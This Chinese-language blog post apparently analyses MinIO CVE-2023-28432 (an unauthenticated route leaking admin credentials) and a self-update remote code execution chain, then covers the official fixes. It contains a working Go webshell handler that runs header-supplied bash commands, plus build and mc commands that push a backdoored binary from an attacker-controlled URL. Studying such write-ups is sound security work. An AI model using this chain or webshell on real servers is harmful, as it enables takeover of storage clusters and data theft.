MinIO CVE-2023-28432 & 自更新 RCE 分析

正好最近入坑了 Golang, 做个简单的审计练练手

MinIO CVE-2023-28432

MinIO 是一套私有云对象存储的解决方案

Github Advisory: https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

漏洞原理为 MinIO 的某个 API 路由没有鉴权, 导致可以通过该路由获取 MinIO 在系统中的环境变量, 进而得到管理员的账号密码和 SecretKey

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

通告上写到该漏洞只在集群模式下有效

下载源码直奔 cmd/router.go 查看路由

路由地址在最上面

以 vulhub 的环境为例, 注意发送的是 POST 方法

POST /minio/bootstrap/v1/verify

自更新 RCE

自更新是 MinIO 一项功能, 但是它的自更新可以指定一个私有的 mirror url, 导致可以将 url 指向恶意文件进而 RCE

MinIO 有一个管理客户端 mc, 它的 mc admin update 对应的就是服务端的自更新

https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html#command-mc.admin.update

update handler 位于 AdminRouter 中

首先验证是否为 admin, 然后获取 updateURL, 如果为空的话会指定一个默认的 minioReleaseInfoURL, 即https://dl.min.io/server/minio/release/darwin-arm64/minio.sha256sum

然后调用 downloadReleaseURL 和 parseReleaseData

注意 parseReleaseData 会验证 sha256sum 的文件内容是否满足 <sha256 hash> minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional> 的格式, 如果格式不对则会返回 error

验证完格式之后, 它会将路径重新处理, 改成 url + / + minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional> 的形式,其中的 releaseInfo 与前面 sha256sum 中的第二个字段对应

然后会将目标版本和当前版本进行对比, 如果目标版本的日期小于等于当前版本会提示无需更新

再次下载对应的二进制文件, 调用 verifyBinary

verifyBinary 会验证签名和 sha256

这里本来的作用是获取对应的 .minisig 文件, 使用 minisignPubKey 解密, 验证签名是否正确

因为 minisignPubKey 是从环境变量中获得的, 如果环境变量中没有对应的值就会默认给个空值, 就会直接跳过下面对签名的验证

所以我们就可以利用这个缺陷来自更新恶意二进制文件实现 RCE

但由于 MinIO 默认在 Dockerfile 里面配置了官方的公钥, 所以官方 Docker 版本的 MinIO 就无法通过这种方式实现 RCE

后面调用 CommitBinary

CommitBinary 的功能其实就是替换当前的 MinIO 二进制文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
func CommitBinary(opts Options) error {
	// get the directory the file exists in
	targetPath, err := opts.getPath()
	if err != nil {
		return err
	}

	updateDir := filepath.Dir(targetPath)
	filename := filepath.Base(targetPath)
	newPath := filepath.Join(updateDir, fmt.Sprintf(".%s.new", filename))

	// this is where we'll move the executable to so that we can swap in the updated replacement
	oldPath := opts.OldSavePath
	removeOld := opts.OldSavePath == ""
	if removeOld {
		oldPath = filepath.Join(updateDir, fmt.Sprintf(".%s.old", filename))
	}

	// delete any existing old exec file - this is necessary on Windows for two reasons:
	// 1. after a successful update, Windows can't remove the .old file because the process is still running
	// 2. windows rename operations fail if the destination file already exists
	_ = os.Remove(oldPath)

	// move the existing executable to a new file in the same directory
	err = os.Rename(targetPath, oldPath)
	if err != nil {
		return err
	}

	// move the new exectuable in to become the new program
	err = os.Rename(newPath, targetPath)

	if err != nil {
		// move unsuccessful
		//
		// The filesystem is now in a bad state. We have successfully
		// moved the existing binary to a new location, but we couldn't move the new
		// binary to take its place. That means there is no file where the current executable binary
		// used to be!
		// Try to rollback by restoring the old binary to its original path.
		rerr := os.Rename(oldPath, targetPath)
		if rerr != nil {
			return &rollbackErr{err, rerr}
		}

		return err
	}

	// move successful, remove the old binary if needed
	if removeOld {
		errRemove := os.Remove(oldPath)

		// windows has trouble with removing old binaries, so hide it instead
		if errRemove != nil {
			_ = hideFile(oldPath)
		}
	}

	return nil
}

最后发送 serviceRestart 信号重启整个集群

综上, 要想实现自更新 RCE, 需要满足以下几个条件

  • 准备好符合命名格式的恶意二进制文件和对应的 sha256sum 文件
  • 文件名称中的版本日期必须大于目标 MinIO 的版本
  • 目标系统没有在环境变量中配置 MINIO_UPDATE_MINISIGN_PUBKEY
  • 因为自更新需要替换整个二进制文件并重启, 所以需要二开官方的 MinIO, 在里面加入一个 webshell

注意更新这个操作在实战环境中会有一定的风险, 所以我们需要基于目标当前版本的 MinIO 进行二开

使用 mc 可以获取到目标 MinIO 的版本

1
2
mc alias set minio http://127.0.0.1:9000/ minioadmin minioadmin-vulhub
mc admin info minio

下载好对应的源码, 在 routers.go 里面加一个 evil handler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package cmd

import (
	"net/http"
	"os/exec"
)

func evilHandler(h http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		cmd := r.Header.Get("Cmd")
		if cmd != "" {
			p := exec.Command("bash", "-c", cmd)
			output, _ := p.Output()
			w.Write([]byte(output))
		} else {
			h.ServeHTTP(w, r)
		}
	})
}

编译, 生成对应的 sha256sum

1
2
3
4
go mod tidy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
mv minio minio.RELEASE.2023-02-27T18-10-50Z
shasum -a 256 minio.RELEASE.2023-02-27T18-10-50Z > minio.RELEASE.2023-02-27T18-10-50Z.sha256sum

最后利用 mc 发送自更新的请求

1
mc admin update minio http://host.docker.internal:8000/minio.RELEASE.2023-02-27T18-10-50Z.sha256sum

效果

并且由于是集群模式, 集群中的所有主机都自更新了一次

官方的修复方法

https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077

https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300

首先对 verfiy handler 加上了鉴权, 并且对环境变量做了一次 hash, 这样就无法得到实际的内容

然后设置了默认公钥, 即 defaultMinisignPubkey, 阻止了自更新 RCE 的可能性

0%